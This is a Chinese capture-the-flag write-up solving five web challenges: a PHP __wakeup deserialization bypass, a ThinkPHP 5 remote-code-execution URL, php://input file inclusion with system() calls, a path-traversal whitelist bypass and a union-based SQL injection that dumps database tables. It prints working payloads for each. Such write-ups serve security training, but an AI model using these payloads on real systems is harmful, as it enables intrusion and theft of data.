unserialize3、php_rce、Web_php_include、warmup、NewsCenter

unserialize3

前言

PHP 魔术方法__wakeup()

作用:当使用unserialize()函数反序列化对象时,会自动调用对象的__wakeup()方法;这里的__wakeup()是"防护手段":反序列化时直接exit,阻止后续操作(比如获取$flag)。

漏洞原理:CVE-2016-7124(__wakeup()绕过)

PHP5.6.25之前、7.0.10之前存在一个漏洞:当序列化字符串中,对象的"属性个数"大于实际类的属性个数时,__wakeup()方法会被跳过,不执行。

解题

代码的意思:

复制代码
class xctf{

    public $flag = '111'; // 目标:获取真实flag(这里111是示例)

    public function __wakeup(){

        exit('bad requests'); // 防护:反序列化时自动执行,直接退出阻止漏洞利用

    }

}

?code= // 传入反序列化 payload 的入口

类xctf 只有1个公共属性$flag;

正常序列化结果(格式化后):

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

结构解析:O:类名长度:"类名":属性个数:{属性名:属性值,...};

漏洞利用:将"属性个数"从1改为2(大于实际个数1),即可绕过__wakeup():

O:4:"xctf":2:{s:4:"flag";s:3:"111";}。

把以上代码改成php代码

php 复制代码
<?php
class xctf
{
    public $flag = '111';
    public function __wakeup()
    {
        exit('bad requests');
    }
}
$a = new xctf();
print(serialize($a));
?>

运行后得到:O:4:"xctf":1:{s:4:"flag";s:3:"111";}

把1改为2构造payload

php 复制代码
?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

得到flag:cyberpeace{f4743f5cb4fc6042365a841a95c7cc16}

php_rce

前言

ThinkPHP V5 是 国内主流的 PHP 开发框架(ThinkPHP 框架的第 5 大版本,简称 TP5),基于 MVC 架构设计,主打 "简单、快速、安全",广泛用于中小型网站、API 接口、后台管理系统等开发场景。

程序未对控制器进行过滤,导致攻击者可以用\(斜杠)调用任意类方法。

漏洞利用

http://159.138.137.79:63571/index.php?s=index/think\\app/invokefunction\&function=call_user_func_array\&vars\[0\]=system\&vars\[1\]\[\]=要执行的命令

解题

构造payload:

php 复制代码
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /

发现flag信息,继续进入flag目录

php 复制代码
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /flag

发现2个flag信息,读取信息

php 复制代码
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

发现flag:flag{thinkphp5_rce}

Web_php_include

前言

php://input是PHP中的一种内置伪协议 ,核心作用是读取 HTTP 请求体中的原始数据(不依赖_POST/_GET等超全局变量),常用于接收非表单格式的请求数据(如JSON、XML、二进制数据)或在文件包含漏洞中注入恶意代码。

解题

打开题目发现代码:

php 复制代码
<?php

show_source(__FILE__); // 显示当前文件源码(方便查看靶场逻辑)

echo $_GET['hello'];   // 输出 GET 参数 hello 的值(无实际作用,仅为干扰项)

$page = $_GET['page']; // 接收 GET 参数 page(文件包含的目标路径)

// 过滤逻辑:循环替换 "php://" 为空字符串(试图阻止 php 伪协议利用)

while (strstr($page, "php://")) {

    $page = str_replace("php://", "", $page);
}

include($page); // 包含处理后的 $page 文件(核心漏洞点)

?>

那么可以利用php://input伪协议读取文件,我们使用bp抓包,发送到重发器(Repeater)

构建url为61.147.171.103:63483?page=Php://input

用post方式传递php代码。

php 复制代码
<?php system('ls'); ?>

发现fl4gisisish3r3.php文件

查看该文件

php 复制代码
<?php system('cat fl4gisisish3r3.php'); ?> 

发现flag:flag=ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}

warmup

打开题目,有点想笑

按F12查看源代码

发现source.php文件,直接去访问

得到另一个文件hint.php

直接访问

告诉我们flag在ffffllllaaaagggg里

php 复制代码
<?php
    // 高亮显示当前文件的源码(靶场常用,方便查看核心逻辑)
    highlight_file(__FILE__);

    // 定义一个名为 emmm 的类,核心作用是校验文件参数是否合法
    class emmm
    {
        // 静态方法:校验传入的 $page 参数(引用传递,不影响实际逻辑)
        public static function checkFile(&$page)
        {
            // 白名单:允许包含的合法文件(仅 source.php 和 hint.php)
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];

            // 第一次校验:$page 未定义 或 不是字符串 → 非法请求
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it"; // 提示信息
                return false; // 返回false,拒绝包含
            }

            // 第二次校验:$page 完全匹配白名单中的值(精确匹配)
            if (in_array($page, $whitelist)) {
                return true; // 匹配成功,允许包含
            }

            // 第三次校验:截取 $page 中 "?" 之前的部分(处理带参数的请求)
            $_page = mb_substr(
                $page,                  // 待截取字符串
                0,                      // 起始位置(从0开始)
                mb_strpos($page . '?', '?') // 结束位置:找到第一个"?"的索引(拼接"?"避免无"?"时返回false)
            );
            // 截取后的值是否在白名单中(如 $page=source.php?xxx → 截取后为 source.php)
            if (in_array($_page, $whitelist)) {
                return true; // 匹配成功,允许包含
            }

            // 第四次校验:先对 $page 进行 URL 解码,再截取"?"之前的部分
            $_page = urldecode($page); // URL解码(处理编码后的参数)
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            // 解码+截取后的值是否在白名单中
            if (in_array($_page, $whitelist)) {
                return true; // 匹配成功,允许包含
            }
            // 所有校验都失败 → 非法请求
            echo "you can't see it";
            return false;
        }
    }
    // 外层参数校验:满足3个条件才执行文件包含
    if (! empty($_REQUEST['file'])          // 1. file 参数不为空
        && is_string($_REQUEST['file'])     // 2. file 参数是字符串类型
        && emmm::checkFile($_REQUEST['file']) // 3. 经过 emmm 类的 checkFile 方法校验通过
    ) {
        include $_REQUEST['file']; // 核心漏洞点:校验通过后包含 file 参数指定的文件
        exit; // 终止脚本执行
    } else {
        // 校验失败:输出一张搞笑图片(靶场常见反馈)
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    } 
?>

尝试使用php伪协议,发现没有用,对?进行url编码也没用

?file=hint.php?php://filter/convert.base64-encode/resource=ffffllllaaaagggg

?file=source.php%3FFphp://filter/convert.base64-encode/resource=ffffllllaaaagggg

可能是因为我们不知道ffffllllaaaagggg文件存放的具体位置

那我们不停的增加../,找到文件位置

?file=hint.php?/../ffffllllaaaagggg

?file=hint.php?/../../ffffllllaaaagggg

?file=hint.php?/../../../ffffllllaaaagggg

?file=hint.php?/../../../../ffffllllaaaagggg

发现flag:flag{25e7bce6005c4e0c983fb97297ac6e5a}

NewsCenter

打开题目

翻译一下英文

好吧,没啥用,发现在搜索框输入会得到不同结果,可能存在sql注入

判断闭合

php 复制代码
1'

是单引号闭合

判断字段数

sql 复制代码
1' order by 2 #

没有报错

sql 复制代码
1' order by 3 #

报错,说明只有3个字段

查询数据库

sql 复制代码
1' union select 1,2,database()#

查询表名

sql 复制代码
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='news'#

发现两张表news,secret_table

查询secret_table表的字段

sql 复制代码
1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='news'#

没有有用的信息

查询secret_table表的字段

sql 复制代码
1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='secret_table'#

发现字段:id,fl4g

查询fl4g的内容

sql 复制代码
1' union select 1,2,group_concat(fl4g) from secret_table#

得到flag:QCTF{sq1_inJec7ion_ezzz}

相关推荐
你才是臭弟弟4 小时前
时序数据库(TDengine TSDB)基本SQL使用
sql·时序数据库·tdengine
运维行者_5 小时前
OpManager 对接 ERP 避坑指南,网络自动化提升数据同步效率
运维·服务器·开发语言·网络·microsoft·网络安全·php
NewCarRen5 小时前
基于概率模型检测的汽车架构安全性分析
网络安全
Gauss松鼠会6 小时前
【openGauss】学习 gsql 命令行的使用
数据库·sql·database·opengauss
Gauss松鼠会8 小时前
【openGauss】openGauss 如何进行数据库例行维护
数据库·sql·database·opengauss
l1t8 小时前
利用DeepSeek辅助翻译clickhouse SQL为DuckDB 格式求解Advent of Code 2025第10题 电子工厂 第二部分
数据库·人工智能·sql·clickhouse·duckdb
DarkAthena8 小时前
【GaussDB】分析函数性能优化案例-row_number改写
数据库·sql·oracle·性能优化·gaussdb
踢足球09299 小时前
寒假打卡:2026-01-21
数据库·sql
麦聪聊数据9 小时前
基于SQL+CDC构建MySQL到ClickHouse的实时链路
sql·mysql·clickhouse
IT大白9 小时前
6、数据库优化
数据库·sql